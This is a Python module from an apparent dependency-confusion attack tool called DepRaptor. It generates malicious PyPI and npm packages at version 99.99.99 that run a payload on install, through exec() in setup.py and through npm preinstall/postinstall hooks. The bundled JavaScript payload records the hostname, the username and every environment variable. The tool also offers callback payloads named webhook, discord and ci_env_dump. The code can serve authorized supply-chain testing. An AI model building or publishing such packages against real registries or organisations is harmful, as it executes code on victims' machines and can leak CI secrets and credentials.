"""
PoC package generator.

Supports modular payloads via depraptor/poc/payloads/*.
"""

from __future__ import annotations

import importlib
import logging
from pathlib import Path
from typing import List

from ..scanner.confusion_checker import VulnerableDependency

logger = logging.getLogger(__name__)

PAYLOAD_MODULES = {
    "system_info": "depraptor.poc.payloads.system_info",
    "webhook":     "depraptor.poc.payloads.webhook",
    "discord":     "depraptor.poc.payloads.discord",
    "interactsh":  "depraptor.poc.payloads.interactsh",
    "ci_env_dump": "depraptor.poc.payloads.ci_env_dump",
    "custom":      "depraptor.poc.payloads.custom",
}


def _load_payload(payload_type: str, callback_url: str) -> str:
    """Dynamically load a payload module and return its generated code."""
    module_path = PAYLOAD_MODULES.get(payload_type, PAYLOAD_MODULES["system_info"])
    try:
        mod = importlib.import_module(module_path)
        return mod.generate_payload(callback_url)
    except Exception as exc:
        logger.warning(f"Could not load payload '{payload_type}': {exc}. Falling back to system_info.")
        from .payloads import system_info
        return system_info.generate_payload("")


class PoCGenerator:
    """Generate proof-of-concept packages for vulnerable dependencies."""

    def __init__(
        self,
        output_dir: Path,
        payload_type: str = "system_info",
        callback_url: str = "",
    ):
        self.output_dir = output_dir
        self.payload_type = payload_type
        self.callback_url = callback_url

    def generate_all(self, vulnerabilities: List[VulnerableDependency]) -> List[Path]:
        """Generate PoC packages for all vulnerabilities."""
        generated: List[Path] = []
        for vuln in vulnerabilities:
            poc_path = self._generate_poc(vuln)
            if poc_path:
                generated.append(poc_path)
        logger.info(f"Generated {len(generated)} PoC packages")
        return generated

    def _generate_poc(self, vuln: VulnerableDependency) -> Path:
        """Generate a single PoC package directory."""
        name = vuln.dependency.name
        ecosystem = vuln.dependency.ecosystem

        poc_dir = self.output_dir / name
        poc_dir.mkdir(parents=True, exist_ok=True)

        payload_code = _load_payload(self.payload_type, self.callback_url)
        (poc_dir / "payload.py").write_text(payload_code, encoding="utf-8")

        if ecosystem == "pypi":
            self._write_python_poc(poc_dir, name)
        elif ecosystem == "npm":
            self._write_nodejs_poc(poc_dir, name)

        self._write_readme(poc_dir, vuln)
        logger.info(f"PoC generated: {poc_dir}")
        return poc_dir

    # ── Python ────────────────────────────────────────────────────────────────

    def _write_python_poc(self, poc_dir: Path, name: str) -> None:
        setup = f'''from setuptools import setup, find_packages

try:
    exec(open("payload.py").read())
except Exception as exc:
    print(f"[DepRaptor PoC] payload error: {{exc}}")

setup(
    name="{name}",
    version="99.99.99",
    description="PoC – dependency confusion testing",
    author="Security Researcher",
    packages=find_packages(),
    python_requires=">=3.6",
)
'''
        (poc_dir / "setup.py").write_text(setup, encoding="utf-8")

        pyproject = f'''[build-system]
requires = ["setuptools>=45", "wheel"]
build-backend = "setuptools.build_meta"

[project]
name = "{name}"
version = "99.99.99"
description = "PoC – dependency confusion testing"
requires-python = ">=3.6"
'''
        (poc_dir / "pyproject.toml").write_text(pyproject, encoding="utf-8")

    # ── Node.js ───────────────────────────────────────────────────────────────

    def _write_nodejs_poc(self, poc_dir: Path, name: str) -> None:
        pkg = f'''{{\n  "name": "{name}",\n  "version": "99.99.99",\n  "description": "PoC – dependency confusion testing",\n  "scripts": {{\n    "preinstall": "node payload.js",\n    "postinstall": "node payload.js"\n  }},\n  "author": "Security Researcher",\n  "license": "MIT"\n}}\n'''
        (poc_dir / "package.json").write_text(pkg, encoding="utf-8")

        js_payload = '''const os = require('os'), fs = require('fs'), path = require('path');
const log = path.join(process.cwd(), 'payload_log.txt');
const data = [
  '=== DepRaptor PoC Executed ===',
  `Timestamp : ${new Date().toISOString()}`,
  `Hostname  : ${os.hostname()}`,
  `Username  : ${os.userInfo().username}`,
  `CWD       : ${process.cwd()}`,
  `Platform  : ${os.platform()}`,
  '',
  'Environment Variables:',
  ...Object.entries(process.env).map(([k,v]) => `  ${k}=${v}`),
].join('\\n');
fs.writeFileSync(log, data);
console.log(`[DepRaptor] payload_log.txt written to ${log}`);
'''
        (poc_dir / "payload.js").write_text(js_payload, encoding="utf-8")

    # ── README ────────────────────────────────────────────────────────────────

    def _write_readme(self, poc_dir: Path, vuln: VulnerableDependency) -> None:
        content = f"""# PoC: {vuln.dependency.name}

| Field     | Value |
|-----------|-------|
| Package   | `{vuln.dependency.name}` |
| Ecosystem | {vuln.dependency.ecosystem} |
| Version   | {vuln.dependency.version} |
| Source    | `{vuln.dependency.source}` |
| Payload   | {self.payload_type} |

## Reason
{vuln.reason}

## Security Notice
This PoC is for **authorized security testing only**.
Do NOT publish to public registries without explicit permission.

Generated by DepRaptor – Developer: LAKSHMIKANTHAN K (letchupkt)
"""
        (poc_dir / "README.md").write_text(content, encoding="utf-8")
